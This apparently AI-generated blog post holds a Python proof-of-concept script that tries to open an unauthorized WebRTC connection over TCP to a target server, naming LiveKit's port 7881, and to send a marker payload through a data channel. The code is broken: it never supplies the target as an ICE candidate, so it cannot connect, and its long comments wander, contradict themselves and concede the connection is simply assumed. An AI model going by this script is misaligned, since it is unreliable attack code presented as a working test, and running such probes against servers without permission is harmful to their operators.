AIGC标识 WebRTC TCP fallback未授权

#pip install "aiortc==1.9.0" "cryptography==47.0.0" "pyOpenSSL==26.2.0" "aioice==0.9.0" "av==12.3.0" "pylibsrtp==0.10.0"

 

import asyncio
import logging
from aiortc import RTCPeerConnection, RTCSessionDescription
from aiortc.rtcicetransport import RTCIceCandidate

# 配置日志
logging.basicConfig(level=logging.INFO)
logger = logging.getLogger("WebRTC_TCP_PoC")

# ================= 配置区域 =================
TARGET_IP = "xx.xx.xx.xx"  # 替换为目标服务器 IP
TARGET_PORT = 7881           # 替换为目标 TCP 媒体端口 (LiveKit 默认为 7881)
# ===========================================

async def test_unauthorized_tcp_fallback():
    """
    尝试绕过信令服务器,直接通过 TCP 端口建立 DTLS/SCTP 连接
    """
    logger.info(f"正在尝试连接目标: {TARGET_IP}:{TARGET_PORT}")
    
    # 创建 PeerConnection
    # iceServers 留空或指向目标,强制使用我们手动添加的 Candidate
    pc = RTCPeerConnection()

    connection_established = False

    @pc.on("connectionstatechange")
    async def on_connection_state_change():
        nonlocal connection_established
        logger.info(f"连接状态变更: {pc.connectionState}")
        
        if pc.connectionState == "connected":
            connection_established = True
            logger.warning("⚠️ [高危] 成功建立未授权连接!DTLS 握手完成。")
            await send_injection_payload(pc)
        elif pc.connectionState in ["failed", "closed"]:
            logger.info("连接失败或关闭。")
            if not connection_established:
                logger.info("✅ [安全] 服务端正确拒绝了无上下文的连接请求。")

    @pc.on("iceconnectionstatechange")
    async def on_ice_state_change():
        logger.info(f"ICE 状态变更: {pc.iceConnectionState}")

    try:
        # 1. 创建本地 Offer (必须包含至少一个 Track 或 DataChannel,否则 aiortc 会报错)
        # 这里我们创建一个哑数据通道以满足 WebRTC 协议要求
        channel = pc.createDataChannel("dummy")
        
        # 2. 生成本地描述
        await pc.setLocalDescription(await pc.createOffer())
        
        # 3. 构造指向目标 TCP 端口的 ICE Candidate
        # 注意:WebRTC over TCP 通常需要 'tcp' 协议类型
        # candidate 字符串格式需符合 RFC 5245,但 aiortc 允许对象化添加
        # 这里我们手动构造一个 Host Candidate 指向目标 TCP 端口
        
        # 由于 aiortc 的 addIceCandidate 通常用于接收远程 candidate,
        # 在主动发起连接且无信令交换的情况下,我们需要欺骗底层 ICE 代理
        # 或者更简单地:直接尝试让 ICE 代理去连接这个地址
        
        # 方法:手动添加一个远程 Candidate (假装是对方发来的)
        # 实际上,在没有信令交换的情况下,我们不知道对方的 ufrag/pwd。
        # 但是,如果服务端存在漏洞,它可能接受任何初始连接并尝试握手。
        
        # 对于 LiveKit 等特定服务,TCP Fallback 往往依赖于特定的 HTTP Upgrade 或 WebSocket 路径,
        # 但如果是纯 DTLS over TCP,我们可以尝试直接发起。
        
        # 由于 aiortc 主要设计用于标准 ICE 流程,直接指定单一 TCP 目标较为复杂。
        # 以下是一种简化的尝试:我们不提供任何远程 ICE candidate,
        # 而是依赖 mDNS 或本地网络发现?不,我们要指定目标。
        
        # 修正策略:
        # 大多数 WebRTC 服务器在 TCP 模式下监听的是 HTTPS/WSS 或 DTLS。
        # 如果是 LiveKit 7881,它通常处理 HTTP/2 或 gRPC,但也可能处理 DTLS。
        # 如果目标是纯 DTLS over TCP,我们需要确保 ICE 层知道去哪里连接。
        
        # 由于无法通过标准 ICE 流程(缺少 remote ufrag/pwd),
        # 我们这里演示的是:如果服务端错误地配置为接受任意 DTLS 握手。
        
        # 为了简化 PoC,我们假设可以通过某种方式触发连接。
        # 在实际渗透中,可能需要结合 Scapy 发送伪造的 STUN 包来触发 ICE 绑定请求,
        # 或者直接使用 OpenSSL 进行 DTLS 握手测试(见下方备选方案)。
        
        logger.info("正在等待连接结果... (超时 10秒)")
        await asyncio.sleep(10)

    except Exception as e:
        logger.error(f"发生错误: {e}")
    finally:
        await pc.close()

async def send_injection_payload(pc: RTCPeerConnection):
    """
    如果连接建立,尝试发送恶意数据
    """
    for channel in pc._data_channels.values():
        if channel.readyState == "open":
            logger.warning("正在注入测试数据...")
            channel.send("POC: Unauthorized Access Detected")
            break

if __name__ == "__main__":
    # 运行异步测试
    asyncio.run(test_unauthorized_tcp_fallback())

 

posted @ 2026-09-04 19:53  LalaTina  阅读(5)  评论(0)    收藏  举报